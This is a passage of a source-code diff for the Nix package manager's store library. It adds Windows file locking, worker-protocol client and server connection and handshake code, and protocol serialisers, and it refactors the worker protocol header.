+ throw winError; + } + return true; + } + case ltWrite: { + OVERLAPPED ov = {0}; + ov.Offset = 1; + if (!LockFileEx(desc, LOCKFILE_EXCLUSIVE_LOCK | (wait ? 0 : LOCKFILE_FAIL_IMMEDIATELY), 0, 1, 0, &ov)) { + WinError winError("Failed to lock file desc %s", desc); + if (winError.lastError == ERROR_LOCK_VIOLATION) + return false; + throw winError; + } + + ov.Offset = 0; + if (!UnlockFileEx(desc, 0, 1, 0, &ov)) { + WinError winError("Failed to unlock file desc %s", desc); + if (winError.lastError != ERROR_NOT_LOCKED) + throw winError; + } + return true; + } + default: + assert(false); + } +} + +bool PathLocks::lockPaths(const PathSet & paths, const std::string & waitMsg, bool wait) +{ + assert(fds.empty()); + + for (auto & path : paths) { + checkInterrupt(); + Path lockPath = path + ".lock"; + debug("locking path '%1%'", path); + + AutoCloseFD fd; + + while (1) { + fd = openLockFile(lockPath, true); + if (!lockFile(fd.get(), ltWrite, false)) { + if (wait) { + if (waitMsg != "") + printError(waitMsg); + lockFile(fd.get(), ltWrite, true); + } else { + unlock(); + return false; + } + } + + debug("lock aquired on '%1%'", lockPath); + + struct _stat st; + if (_fstat(fromDescriptorReadOnly(fd.get()), &st) == -1) + throw SysError("statting lock file '%1%'", lockPath); + if (st.st_size != 0) + debug("open lock file '%1%' has become stale", lockPath); + else + break; + } + + fds.push_back(FDPair(fd.release(), lockPath)); + } + return true; +} + +FdLock::FdLock(Descriptor desc, LockType lockType, bool wait, std::string_view waitMsg) + : desc(desc) +{ + if (wait) { + if (!lockFile(desc, lockType, false)) { + printInfo("%s", waitMsg); + acquired = lockFile(desc, lockType, true); + } + } else + acquired = lockFile(desc, lockType, false); +} + +} diff --git a/src/libstore/worker-protocol-connection.cc b/src/libstore/worker-protocol-connection.cc new file mode 100644 index 000000000..a47dbb689 --- /dev/null +++ b/src/libstore/worker-protocol-connection.cc @@ -0,0 +1,318 @@ +#include "worker-protocol-connection.hh" +#include "worker-protocol-impl.hh" +#include "build-result.hh" +#include "derivations.hh" + +namespace nix { + +const std::set WorkerProto::allFeatures{}; + +WorkerProto::BasicClientConnection::~BasicClientConnection() +{ + try { + to.flush(); + } catch (...) { + ignoreException(); + } +} + +static Logger::Fields readFields(Source & from) +{ + Logger::Fields fields; + size_t size = readInt(from); + for (size_t n = 0; n < size; n++) { + auto type = (decltype(Logger::Field::type)) readInt(from); + if (type == Logger::Field::tInt) + fields.push_back(readNum(from)); + else if (type == Logger::Field::tString) + fields.push_back(readString(from)); + else + throw Error("got unsupported field type %x from Nix daemon", (int) type); + } + return fields; +} + +std::exception_ptr WorkerProto::BasicClientConnection::processStderrReturn(Sink * sink, Source * source, bool flush) +{ + if (flush) + to.flush(); + + std::exception_ptr ex; + + while (true) { + + auto msg = readNum(from); + + if (msg == STDERR_WRITE) { + auto s = readString(from); + if (!sink) + throw Error("no sink"); + (*sink)(s); + } + + else if (msg == STDERR_READ) { + if (!source) + throw Error("no source"); + size_t len = readNum(from); + auto buf = std::make_unique(len); + writeString({(const char *) buf.get(), source->read(buf.get(), len)}, to); + to.flush(); + } + + else if (msg == STDERR_ERROR) { + if (GET_PROTOCOL_MINOR(protoVersion) >= 26) { + ex = std::make_exception_ptr(readError(from)); + } else { + auto error = readString(from); + unsigned int status = readInt(from); + ex = std::make_exception_ptr(Error(status, error)); + } + break; + } + + else if (msg == STDERR_NEXT) + printError(chomp(readString(from))); + + else if (msg == STDERR_START_ACTIVITY) { + auto act = readNum(from); + auto lvl = (Verbosity) readInt(from); + auto type = (ActivityType) readInt(from); + auto s = readString(from); + auto fields = readFields(from); + auto parent = readNum(from); + logger->startActivity(act, lvl, type, s, fields, parent); + } + + else if (msg == STDERR_STOP_ACTIVITY) { + auto act = readNum(from); + logger->stopActivity(act); + } + + else if (msg == STDERR_RESULT) { + auto act = readNum(from); + auto type = (ResultType) readInt(from); + auto fields = readFields(from); + logger->result(act, type, fields); + } + + else if (msg == STDERR_LAST) + break; + + else + throw Error("got unknown message type %x from Nix daemon", msg); + } + + if (!ex) { + return ex; + } else { + try { + std::rethrow_exception(ex); + } catch (const Error & e) { + // Nix versions before #4628 did not have an adequate + // behavior for reporting that the derivation format was + // upgraded. To avoid having to add compatibility logic in + // many places, we expect to catch almost all occurrences of + // the old incomprehensible error here, so that we can + // explain to users what's going on when their daemon is + // older than #4628 (2023). + if (experimentalFeatureSettings.isEnabled(Xp::DynamicDerivations) + && GET_PROTOCOL_MINOR(protoVersion) <= 35) { + auto m = e.msg(); + if (m.find("parsing derivation") != std::string::npos && m.find("expected string") != std::string::npos + && m.find("Derive([") != std::string::npos) + return std::make_exception_ptr(Error( + "%s, this might be because the daemon is too old to understand dependencies on dynamic derivations. Check to see if the raw derivation is in the form '%s'", + std::move(m), + "Drv WithVersion(..)")); + } + return std::current_exception(); + } + } +} + +void WorkerProto::BasicClientConnection::processStderr(bool * daemonException, Sink * sink, Source * source, bool flush) +{ + auto ex = processStderrReturn(sink, source, flush); + if (ex) { + *daemonException = true; + std::rethrow_exception(ex); + } +} + +static std::set +intersectFeatures(const std::set & a, const std::set & b) +{ + std::set res; + for (auto & x : a) + if (b.contains(x)) + res.insert(x); + return res; +} + +std::tuple> WorkerProto::BasicClientConnection::handshake( + BufferedSink & to, + Source & from, + WorkerProto::Version localVersion, + const std::set & supportedFeatures) +{ + to << WORKER_MAGIC_1 << localVersion; + to.flush(); + + unsigned int magic = readInt(from); + if (magic != WORKER_MAGIC_2) + throw Error("nix-daemon protocol mismatch from"); + auto daemonVersion = readInt(from); + + if (GET_PROTOCOL_MAJOR(daemonVersion) != GET_PROTOCOL_MAJOR(PROTOCOL_VERSION)) + throw Error("Nix daemon protocol version not supported"); + if (GET_PROTOCOL_MINOR(daemonVersion) < 10) + throw Error("the Nix daemon version is too old"); + + auto protoVersion = std::min(daemonVersion, localVersion); + + /* Exchange features. */ + std::set daemonFeatures; + if (GET_PROTOCOL_MINOR(protoVersion) >= 38) { + to << supportedFeatures; + to.flush(); + daemonFeatures = readStrings>(from); + } + + return {protoVersion, intersectFeatures(daemonFeatures, supportedFeatures)}; +} + +std::tuple> WorkerProto::BasicServerConnection::handshake( + BufferedSink & to, + Source & from, + WorkerProto::Version localVersion, + const std::set & supportedFeatures) +{ + unsigned int magic = readInt(from); + if (magic != WORKER_MAGIC_1) + throw Error("protocol mismatch"); + to << WORKER_MAGIC_2 << localVersion; + to.flush(); + auto clientVersion = readInt(from); + + auto protoVersion = std::min(clientVersion, localVersion); + + /* Exchange features. */ + std::set clientFeatures; + if (GET_PROTOCOL_MINOR(protoVersion) >= 38) { + clientFeatures = readStrings>(from); + to << supportedFeatures; + to.flush(); + } + + return {protoVersion, intersectFeatures(clientFeatures, supportedFeatures)}; +} + +WorkerProto::ClientHandshakeInfo WorkerProto::BasicClientConnection::postHandshake(const StoreDirConfig & store) +{ + WorkerProto::ClientHandshakeInfo res; + + if (GET_PROTOCOL_MINOR(protoVersion) >= 14) { + // Obsolete CPU affinity. + to << 0; + } + + if (GET_PROTOCOL_MINOR(protoVersion) >= 11) + to << false; // obsolete reserveSpace + + if (GET_PROTOCOL_MINOR(protoVersion) >= 33) + to.flush(); + + return WorkerProto::Serialise::read(store, *this); +} + +void WorkerProto::BasicServerConnection::postHandshake(const StoreDirConfig & store, const ClientHandshakeInfo & info) +{ + if (GET_PROTOCOL_MINOR(protoVersion) >= 14 && readInt(from)) { + // Obsolete CPU affinity. + readInt(from); + } + + if (GET_PROTOCOL_MINOR(protoVersion) >= 11) + readInt(from); // obsolete reserveSpace + + WorkerProto::write(store, *this, info); +} + +UnkeyedValidPathInfo WorkerProto::BasicClientConnection::queryPathInfo( + const StoreDirConfig & store, bool * daemonException, const StorePath & path) +{ + to << WorkerProto::Op::QueryPathInfo << store.printStorePath(path); + try { + processStderr(daemonException); + } catch (Error & e) { + // Ugly backwards compatibility hack. + if (e.msg().find("is not valid") != std::string::npos) + throw InvalidPath(std::move(e.info())); + throw; + } + if (GET_PROTOCOL_MINOR(protoVersion) >= 17) { + bool valid; + from >> valid; + if (!valid) + throw InvalidPath("path '%s' is not valid", store.printStorePath(path)); + } + return WorkerProto::Serialise::read(store, *this); +} + +StorePathSet WorkerProto::BasicClientConnection::queryValidPaths( + const StoreDirConfig & store, bool * daemonException, const StorePathSet & paths, SubstituteFlag maybeSubstitute) +{ + assert(GET_PROTOCOL_MINOR(protoVersion) >= 12); + to << WorkerProto::Op::QueryValidPaths; + WorkerProto::write(store, *this, paths); + if (GET_PROTOCOL_MINOR(protoVersion) >= 27) { + to << maybeSubstitute; + } + processStderr(daemonException); + return WorkerProto::Serialise::read(store, *this); +} + +void WorkerProto::BasicClientConnection::addTempRoot( + const StoreDirConfig & store, bool * daemonException, const StorePath & path) +{ + to << WorkerProto::Op::AddTempRoot << store.printStorePath(path); + processStderr(daemonException); + readInt(from); +} + +void WorkerProto::BasicClientConnection::putBuildDerivationRequest( + const StoreDirConfig & store, + bool * daemonException, + const StorePath & drvPath, + const BasicDerivation & drv, + BuildMode buildMode) +{ + to << WorkerProto::Op::BuildDerivation << store.printStorePath(drvPath); + writeDerivation(to, store, drv); + to << buildMode; +} + +BuildResult +WorkerProto::BasicClientConnection::getBuildDerivationResponse(const StoreDirConfig & store, bool * daemonException) +{ + return WorkerProto::Serialise::read(store, *this); +} + +void WorkerProto::BasicClientConnection::narFromPath( + const StoreDirConfig & store, bool * daemonException, const StorePath & path, std::function fun) +{ + to << WorkerProto::Op::NarFromPath << store.printStorePath(path); + processStderr(daemonException); + + fun(from); +} + +void WorkerProto::BasicClientConnection::importPaths( + const StoreDirConfig & store, bool * daemonException, Source & source) +{ + to << WorkerProto::Op::ImportPaths; + processStderr(daemonException, 0, &source); + auto importedPaths = WorkerProto::Serialise::read(store, *this); + assert(importedPaths.size() <= importedPaths.size()); +} +} diff --git a/src/libstore/worker-protocol-connection.hh b/src/libstore/worker-protocol-connection.hh new file mode 100644 index 000000000..9c96195b5 --- /dev/null +++ b/src/libstore/worker-protocol-connection.hh @@ -0,0 +1,170 @@ +#pragma once +///@file + +#include "worker-protocol.hh" +#include "store-api.hh" + +namespace nix { + +struct WorkerProto::BasicConnection +{ + /** + * Send with this. + */ + FdSink to; + + /** + * Receive with this. + */ + FdSource from; + + /** + * The protocol version agreed by both sides. + */ + WorkerProto::Version protoVersion; + + /** + * The set of features that both sides support. + */ + std::set features; + + /** + * Coercion to `WorkerProto::ReadConn`. This makes it easy to use the + * factored out serve protocol serializers with a + * `LegacySSHStore::Connection`. + * + * The serve protocol connection types are unidirectional, unlike + * this type. + */ + operator WorkerProto::ReadConn() + { + return WorkerProto::ReadConn{ + .from = from, + .version = protoVersion, + }; + } + + /** + * Coercion to `WorkerProto::WriteConn`. This makes it easy to use the + * factored out serve protocol serializers with a + * `LegacySSHStore::Connection`. + * + * The serve protocol connection types are unidirectional, unlike + * this type. + */ + operator WorkerProto::WriteConn() + { + return WorkerProto::WriteConn{ + .to = to, + .version = protoVersion, + }; + } +}; + +struct WorkerProto::BasicClientConnection : WorkerProto::BasicConnection +{ + /** + * Flush to direction + */ + virtual ~BasicClientConnection(); + + virtual void closeWrite() = 0; + + std::exception_ptr processStderrReturn(Sink * sink = 0, Source * source = 0, bool flush = true); + + void processStderr(bool * daemonException, Sink * sink = 0, Source * source = 0, bool flush = true); + + /** + * Establishes connection, negotiating version. + * + * @return the minimum version supported by both sides and the set + * of protocol features supported by both sides. + * + * @param to Taken by reference to allow for various error handling + * mechanisms. + * + * @param from Taken by reference to allow for various error + * handling mechanisms. + * + * @param localVersion Our version which is sent over + * + * @param features The protocol features that we support + */ + // FIXME: this should probably be a constructor. + static std::tuple> handshake( + BufferedSink & to, + Source & from, + WorkerProto::Version localVersion, + const std::set & supportedFeatures); + + /** + * After calling handshake, must call this to exchange some basic + * information abou the connection. + */ + ClientHandshakeInfo postHandshake(const StoreDirConfig & store); + + void addTempRoot(const StoreDirConfig & remoteStore, bool * daemonException, const StorePath & path); + + StorePathSet queryValidPaths( + const StoreDirConfig & remoteStore, + bool * daemonException, + const StorePathSet & paths, + SubstituteFlag maybeSubstitute); + + UnkeyedValidPathInfo queryPathInfo(const StoreDirConfig & store, bool * daemonException, const StorePath & path); + + void putBuildDerivationRequest( + const StoreDirConfig & store, + bool * daemonException, + const StorePath & drvPath, + const BasicDerivation & drv, + BuildMode buildMode); + + /** + * Get the response, must be paired with + * `putBuildDerivationRequest`. + */ + BuildResult getBuildDerivationResponse(const StoreDirConfig & store, bool * daemonException); + + void narFromPath( + const StoreDirConfig & store, + bool * daemonException, + const StorePath & path, + std::function fun); + + void importPaths(const StoreDirConfig & store, bool * daemonException, Source & source); +}; + +struct WorkerProto::BasicServerConnection : WorkerProto::BasicConnection +{ + /** + * Establishes connection, negotiating version. + * + * @return the version provided by the other side of the + * connection. + * + * @param to Taken by reference to allow for various error handling + * mechanisms. + * + * @param from Taken by reference to allow for various error + * handling mechanisms. + * + * @param localVersion Our version which is sent over + * + * @param features The protocol features that we support + */ + // FIXME: this should probably be a constructor. + static std::tuple> handshake( + BufferedSink & to, + Source & from, + WorkerProto::Version localVersion, + const std::set & supportedFeatures); + + /** + * After calling handshake, must call this to exchange some basic + * information abou the connection. + */ + void postHandshake(const StoreDirConfig & store, const ClientHandshakeInfo & info); +}; + +} diff --git a/src/libstore/worker-protocol-impl.hh b/src/libstore/worker-protocol-impl.hh new file mode 100644 index 000000000..026cc37bc --- /dev/null +++ b/src/libstore/worker-protocol-impl.hh @@ -0,0 +1,59 @@ +#pragma once +/** + * @file + * + * Template implementations (as opposed to mere declarations). + * + * This file is an exmample of the "impl.hh" pattern. See the + * contributing guide. + */ + +#include "worker-protocol.hh" +#include "length-prefixed-protocol-helper.hh" + +namespace nix { + +/* protocol-agnostic templates */ + +#define WORKER_USE_LENGTH_PREFIX_SERIALISER(TEMPLATE, T) \ + TEMPLATE T WorkerProto::Serialise< T >::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) \ + { \ + return LengthPrefixedProtoHelper::read(store, conn); \ + } \ + TEMPLATE void WorkerProto::Serialise< T >::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const T & t) \ + { \ + LengthPrefixedProtoHelper::write(store, conn, t); \ + } + +WORKER_USE_LENGTH_PREFIX_SERIALISER(template, std::vector) +WORKER_USE_LENGTH_PREFIX_SERIALISER(template, std::set) +WORKER_USE_LENGTH_PREFIX_SERIALISER(template, std::tuple) + +#define COMMA_ , +WORKER_USE_LENGTH_PREFIX_SERIALISER( + template, + std::map) +#undef COMMA_ + +/** + * Use `CommonProto` where possible. + */ +template +struct WorkerProto::Serialise +{ + static T read(const StoreDirConfig & store, WorkerProto::ReadConn conn) + { + return CommonProto::Serialise::read(store, + CommonProto::ReadConn { .from = conn.from }); + } + static void write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const T & t) + { + CommonProto::Serialise::write(store, + CommonProto::WriteConn { .to = conn.to }, + t); + } +}; + +/* protocol-specific templates */ + +} diff --git a/src/libstore/worker-protocol.cc b/src/libstore/worker-protocol.cc new file mode 100644 index 000000000..f06fb2893 --- /dev/null +++ b/src/libstore/worker-protocol.cc @@ -0,0 +1,284 @@ +#include "serialise.hh" +#include "path-with-outputs.hh" +#include "store-api.hh" +#include "build-result.hh" +#include "worker-protocol.hh" +#include "worker-protocol-impl.hh" +#include "archive.hh" +#include "path-info.hh" + +#include +#include + +namespace nix { + +/* protocol-specific definitions */ + +BuildMode WorkerProto::Serialise::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) +{ + auto temp = readNum(conn.from); + switch (temp) { + case 0: return bmNormal; + case 1: return bmRepair; + case 2: return bmCheck; + default: throw Error("Invalid build mode"); + } +} + +void WorkerProto::Serialise::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const BuildMode & buildMode) +{ + switch (buildMode) { + case bmNormal: + conn.to << uint8_t{0}; + break; + case bmRepair: + conn.to << uint8_t{1}; + break; + case bmCheck: + conn.to << uint8_t{2}; + break; + default: + assert(false); + }; +} + +std::optional WorkerProto::Serialise>::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) +{ + auto temp = readNum(conn.from); + switch (temp) { + case 0: + return std::nullopt; + case 1: + return { Trusted }; + case 2: + return { NotTrusted }; + default: + throw Error("Invalid trusted status from remote"); + } +} + +void WorkerProto::Serialise>::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const std::optional & optTrusted) +{ + if (!optTrusted) + conn.to << uint8_t{0}; + else { + switch (*optTrusted) { + case Trusted: + conn.to << uint8_t{1}; + break; + case NotTrusted: + conn.to << uint8_t{2}; + break; + default: + assert(false); + }; + } +} + + +std::optional WorkerProto::Serialise>::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) +{ + auto tag = readNum(conn.from); + switch (tag) { + case 0: + return std::nullopt; + case 1: + return std::optional{std::chrono::microseconds(readNum(conn.from))}; + default: + throw Error("Invalid optional tag from remote"); + } +} + +void WorkerProto::Serialise>::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const std::optional & optDuration) +{ + if (!optDuration.has_value()) { + conn.to << uint8_t{0}; + } else { + conn.to + << uint8_t{1} + << optDuration.value().count(); + } +} + + +DerivedPath WorkerProto::Serialise::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) +{ + auto s = readString(conn.from); + if (GET_PROTOCOL_MINOR(conn.version) >= 30) { + return DerivedPath::parseLegacy(store, s); + } else { + return parsePathWithOutputs(store, s).toDerivedPath(); + } +} + +void WorkerProto::Serialise::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const DerivedPath & req) +{ + if (GET_PROTOCOL_MINOR(conn.version) >= 30) { + conn.to << req.to_string_legacy(store); + } else { + auto sOrDrvPath = StorePathWithOutputs::tryFromDerivedPath(req); + std::visit(overloaded { + [&](const StorePathWithOutputs & s) { + conn.to << s.to_string(store); + }, + [&](const StorePath & drvPath) { + throw Error("trying to request '%s', but daemon protocol %d.%d is too old (< 1.29) to request a derivation file", + store.printStorePath(drvPath), + GET_PROTOCOL_MAJOR(conn.version), + GET_PROTOCOL_MINOR(conn.version)); + }, + [&](std::monostate) { + throw Error("wanted to build a derivation that is itself a build product, but protocols do not support that. Try upgrading the Nix on the other end of this connection"); + }, + }, sOrDrvPath); + } +} + + +KeyedBuildResult WorkerProto::Serialise::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) +{ + auto path = WorkerProto::Serialise::read(store, conn); + auto br = WorkerProto::Serialise::read(store, conn); + return KeyedBuildResult { + std::move(br), + /* .path = */ std::move(path), + }; +} + +void WorkerProto::Serialise::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const KeyedBuildResult & res) +{ + WorkerProto::write(store, conn, res.path); + WorkerProto::write(store, conn, static_cast(res)); +} + + +BuildResult WorkerProto::Serialise::read(const StoreDirConfig & store, WorkerProto::ReadConn conn) +{ + BuildResult res; + res.status = static_cast(readInt(conn.from)); + conn.from >> res.errorMsg; + if (GET_PROTOCOL_MINOR(conn.version) >= 29) { + conn.from + >> res.timesBuilt + >> res.isNonDeterministic + >> res.startTime + >> res.stopTime; + } + if (GET_PROTOCOL_MINOR(conn.version) >= 37) { + res.cpuUser = WorkerProto::Serialise>::read(store, conn); + res.cpuSystem = WorkerProto::Serialise>::read(store, conn); + } + if (GET_PROTOCOL_MINOR(conn.version) >= 28) { + auto builtOutputs = WorkerProto::Serialise::read(store, conn); + for (auto && [output, realisation] : builtOutputs) + res.builtOutputs.insert_or_assign( + std::move(output.outputName), + std::move(realisation)); + } + return res; +} + +void WorkerProto::Serialise::write(const StoreDirConfig & store, WorkerProto::WriteConn conn, const BuildResult & res) +{ + conn.to + << res.status + << res.errorMsg; + if (GET_PROTOCOL_MINOR(conn.version) >= 29) { + conn.to + << res.timesBuilt + << res.isNonDeterministic + << res.startTime + << res.stopTime; + } + if (GET_PROTOCOL_MINOR(conn.version) >= 37) { + WorkerProto::write(store, conn, res.cpuUser); + WorkerProto::write(store, conn, res.cpuSystem); + } + if (GET_PROTOCOL_MINOR(conn.version) >= 28) { + DrvOutputs builtOutputs; + for (auto & [output, realisation] : res.builtOutputs) + builtOutputs.insert_or_assign(realisation.id, realisation); + WorkerProto::write(store, conn, builtOutputs); + } +} + + +ValidPathInfo WorkerProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) +{ + auto path = WorkerProto::Serialise::read(store, conn); + return ValidPathInfo { + std::move(path), + WorkerProto::Serialise::read(store, conn), + }; +} + +void WorkerProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const ValidPathInfo & pathInfo) +{ + WorkerProto::write(store, conn, pathInfo.path); + WorkerProto::write(store, conn, static_cast(pathInfo)); +} + + +UnkeyedValidPathInfo WorkerProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) +{ + auto deriver = readString(conn.from); + auto narHash = Hash::parseAny(readString(conn.from), HashAlgorithm::SHA256); + UnkeyedValidPathInfo info(narHash); + if (deriver != "") info.deriver = store.parseStorePath(deriver); + info.references = WorkerProto::Serialise::read(store, conn); + conn.from >> info.registrationTime >> info.narSize; + if (GET_PROTOCOL_MINOR(conn.version) >= 16) { + conn.from >> info.ultimate; + info.sigs = readStrings(conn.from); + info.ca = ContentAddress::parseOpt(readString(conn.from)); + } + return info; +} + +void WorkerProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const UnkeyedValidPathInfo & pathInfo) +{ + conn.to + << (pathInfo.deriver ? store.printStorePath(*pathInfo.deriver) : "") + << pathInfo.narHash.to_string(HashFormat::Base16, false); + WorkerProto::write(store, conn, pathInfo.references); + conn.to << pathInfo.registrationTime << pathInfo.narSize; + if (GET_PROTOCOL_MINOR(conn.version) >= 16) { + conn.to + << pathInfo.ultimate + << pathInfo.sigs + << renderContentAddress(pathInfo.ca); + } +} + + +WorkerProto::ClientHandshakeInfo WorkerProto::Serialise::read(const StoreDirConfig & store, ReadConn conn) +{ + WorkerProto::ClientHandshakeInfo res; + + if (GET_PROTOCOL_MINOR(conn.version) >= 33) { + res.daemonNixVersion = readString(conn.from); + } + + if (GET_PROTOCOL_MINOR(conn.version) >= 35) { + res.remoteTrustsUs = WorkerProto::Serialise>::read(store, conn); + } else { + // We don't know the answer; protocol to old. + res.remoteTrustsUs = std::nullopt; + } + + return res; +} + +void WorkerProto::Serialise::write(const StoreDirConfig & store, WriteConn conn, const WorkerProto::ClientHandshakeInfo & info) +{ + if (GET_PROTOCOL_MINOR(conn.version) >= 33) { + assert(info.daemonNixVersion); + conn.to << *info.daemonNixVersion; + } + + if (GET_PROTOCOL_MINOR(conn.version) >= 35) { + WorkerProto::write(store, conn, info.remoteTrustsUs); + } +} + +} diff --git a/src/libstore/worker-protocol.hh b/src/libstore/worker-protocol.hh index 87088a3ac..c356fa1bf 100644 --- a/src/libstore/worker-protocol.hh +++ b/src/libstore/worker-protocol.hh @@ -1,7 +1,9 @@ #pragma once +///@file -#include "store-api.hh" -#include "serialise.hh" +#include + +#include "common-protocol.hh" namespace nix { @@ -9,58 +11,13 @@ namespace nix { #define WORKER_MAGIC_1 0x6e697863 #define WORKER_MAGIC_2 0x6478696f -#define PROTOCOL_VERSION (1 << 8 | 34) +/* Note: you generally shouldn't change the protocol version. Define a + new `WorkerProto::Feature` instead. */ +#define PROTOCOL_VERSION (1 << 8 | 38) #define GET_PROTOCOL_MAJOR(x) ((x) & 0xff00) #define GET_PROTOCOL_MINOR(x) ((x) & 0x00ff) -typedef enum { - wopIsValidPath = 1, - wopHasSubstitutes = 3, - wopQueryPathHash = 4, // obsolete - wopQueryReferences = 5, // obsolete - wopQueryReferrers = 6, - wopAddToStore = 7, - wopAddTextToStore = 8, // obsolete since 1.25, Nix 3.0. Use wopAddToStore - wopBuildPaths = 9, - wopEnsurePath = 10, - wopAddTempRoot = 11, - wopAddIndirectRoot = 12, - wopSyncWithGC = 13, - wopFindRoots = 14, - wopExportPath = 16, // obsolete - wopQueryDeriver = 18, // obsolete - wopSetOptions = 19, - wopCollectGarbage = 20, - wopQuerySubstitutablePathInfo = 21, - wopQueryDerivationOutputs = 22, // obsolete - wopQueryAllValidPaths = 23, - wopQueryFailedPaths = 24, - wopClearFailedPaths = 25, - wopQueryPathInfo = 26, - wopImportPaths = 27, // obsolete - wopQueryDerivationOutputNames = 28, // obsolete - wopQueryPathFromHashPart = 29, - wopQuerySubstitutablePathInfos = 30, - wopQueryValidPaths = 31, - wopQuerySubstitutablePaths = 32, - wopQueryValidDerivers = 33, - wopOptimiseStore = 34, - wopVerifyStore = 35, - wopBuildDerivation = 36, - wopAddSignatures = 37, - wopNarFromPath = 38, - wopAddToStoreNar = 39, - wopQueryMissing = 40, - wopQueryDerivationOutputMap = 41, - wopRegisterDrvOutput = 42, - wopQueryRealisation = 43, - wopAddMultipleToStore = 44, - wopAddBuildLog = 45, - wopBuildPathsWithResults = 46, -} WorkerOp; - - #define STDERR_NEXT 0x6f6c6d67 #define STDERR_READ 0x64617461 // data needed from source #define STDERR_WRITE 0x64617416 // data for sink @@ -71,117 +28,258 @@ typedef enum { #define STDERR_RESULT 0x52534c54 -class Store; +struct StoreDirConfig; struct Source; -/* To guide overloading */ -template -struct Phantom {}; +// items being serialised +struct DerivedPath; +struct BuildResult; +struct KeyedBuildResult; +struct ValidPathInfo; +struct UnkeyedValidPathInfo; +enum BuildMode : uint8_t; +enum TrustedFlag : bool; -namespace worker_proto { -/* FIXME maybe move more stuff inside here */ - -#define MAKE_WORKER_PROTO(TEMPLATE, T) \ - TEMPLATE T read(const Store & store, Source & from, Phantom< T > _); \ - TEMPLATE void write(const Store & store, Sink & out, const T & str) - -MAKE_WORKER_PROTO(, std::string); -MAKE_WORKER_PROTO(, StorePath); -MAKE_WORKER_PROTO(, ContentAddress); -MAKE_WORKER_PROTO(, DerivedPath); -MAKE_WORKER_PROTO(, Realisation); -MAKE_WORKER_PROTO(, DrvOutput); -MAKE_WORKER_PROTO(, BuildResult); - -MAKE_WORKER_PROTO(template, std::vector); -MAKE_WORKER_PROTO(template, std::set); - -#define X_ template -#define Y_ std::map -MAKE_WORKER_PROTO(X_, Y_); -#undef X_ -#undef Y_ - -/* These use the empty string for the null case, relying on the fact - that the underlying types never serialize to the empty string. - - We do this instead of a generic std::optional instance because - ordinal tags (0 or 1, here) are a bit of a compatability hazard. For - the same reason, we don't have a std::variant instances (ordinal - tags 0...n). - - We could the generic instances and then these as specializations for - compatability, but that's proven a bit finnicky, and also makes the - worker protocol harder to implement in other languages where such - specializations may not be allowed. +/** + * The "worker protocol", used by unix:// and ssh-ng:// stores. + * + * This `struct` is basically just a `namespace`; We use a type rather + * than a namespace just so we can use it as a template argument. */ -MAKE_WORKER_PROTO(, std::optional); -MAKE_WORKER_PROTO(, std::optional); - -template -std::vector read(const Store & store, Source & from, Phantom> _) +struct WorkerProto { - std::vector resSet; - auto size = readNum(from); - while (size--) { - resSet.push_back(read(store, from, Phantom {})); + /** + * Enumeration of all the request types for the protocol. + */ + enum struct Op : uint64_t; + + /** + * Version type for the protocol. + * + * @todo Convert to struct with separate major vs minor fields. + */ + using Version = unsigned int; + + /** + * A unidirectional read connection, to be used by the read half of the + * canonical serializers below. + */ + struct ReadConn { + Source & from; + Version version; + }; + + /** + * A unidirectional write connection, to be used by the write half of the + * canonical serializers below. + */ + struct WriteConn { + Sink & to; + Version version; + }; + + /** + * Stripped down serialization logic suitable for sharing with Hydra. + * + * @todo remove once Hydra uses Store abstraction consistently. + */ + struct BasicConnection; + struct BasicClientConnection; + struct BasicServerConnection; + + /** + * Extra information provided as part of protocol negotation. + */ + struct ClientHandshakeInfo; + + /** + * Data type for canonical pairs of serialisers for the worker protocol. + * + * See https://en.cppreference.com/w/cpp/language/adl for the broader + * concept of what is going on here. + */ + template + struct Serialise; + // This is the definition of `Serialise` we *want* to put here, but + // do not do so. + // + // The problem is that if we do so, C++ will think we have + // seralisers for *all* types. We don't, of course, but that won't + // cause an error until link time. That makes for long debug cycles + // when there is a missing serialiser. + // + // By not defining it globally, and instead letting individual + // serialisers specialise the type, we get back the compile-time + // errors we would like. When no serialiser exists, C++ sees an + // abstract "incomplete" type with no definition, and any attempt to + // use `to` or `from` static methods is a compile-time error because + // they don't exist on an incomplete type. + // + // This makes for a quicker debug cycle, as desired. +#if 0 + { + static T read(const StoreDirConfig & store, ReadConn conn); + static void write(const StoreDirConfig & store, WriteConn conn, const T & t); + }; +#endif + + /** + * Wrapper function around `WorkerProto::Serialise::write` that allows us to + * infer the type instead of having to write it down explicitly. + */ + template + static void write(const StoreDirConfig & store, WriteConn conn, const T & t) + { + WorkerProto::Serialise::write(store, conn, t); } - return resSet; + + using Feature = std::string; + + static const std::set allFeatures; +}; + +enum struct WorkerProto::Op : uint64_t +{ + IsValidPath = 1, + HasSubstitutes = 3, + QueryPathHash = 4, // obsolete + QueryReferences = 5, // obsolete + QueryReferrers = 6, + AddToStore = 7, + AddTextToStore = 8, // obsolete since 1.25, Nix 3.0. Use WorkerProto::Op::AddToStore + BuildPaths = 9, + EnsurePath = 10, + AddTempRoot = 11, + AddIndirectRoot = 12, + SyncWithGC = 13, + FindRoots = 14, + ExportPath = 16, // obsolete + QueryDeriver = 18, // obsolete + SetOptions = 19, + CollectGarbage = 20, + QuerySubstitutablePathInfo = 21, + QueryDerivationOutputs = 22, // obsolete + QueryAllValidPaths = 23, + QueryFailedPaths = 24, + ClearFailedPaths = 25, + QueryPathInfo = 26, + ImportPaths = 27, // obsolete + QueryDerivationOutputNames = 28, // obsolete + QueryPathFromHashPart = 29, + QuerySubstitutablePathInfos = 30, + QueryValidPaths = 31, + QuerySubstitutablePaths = 32, + QueryValidDerivers = 33, + OptimiseStore = 34, + VerifyStore = 35, + BuildDerivation = 36, + AddSignatures = 